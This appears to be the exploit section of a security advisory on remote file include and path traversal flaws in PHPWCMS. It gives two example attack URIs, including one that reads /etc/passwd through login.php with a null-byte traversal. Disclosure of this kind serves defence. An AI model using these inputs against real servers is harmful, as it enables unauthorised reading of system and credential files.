• info
• discussion
• exploit
• solution
• references

PHPWCMS Multiple Remote File Include Vulnerabilities

No exploit is required.

Example URIs have been provided:

http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00
http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/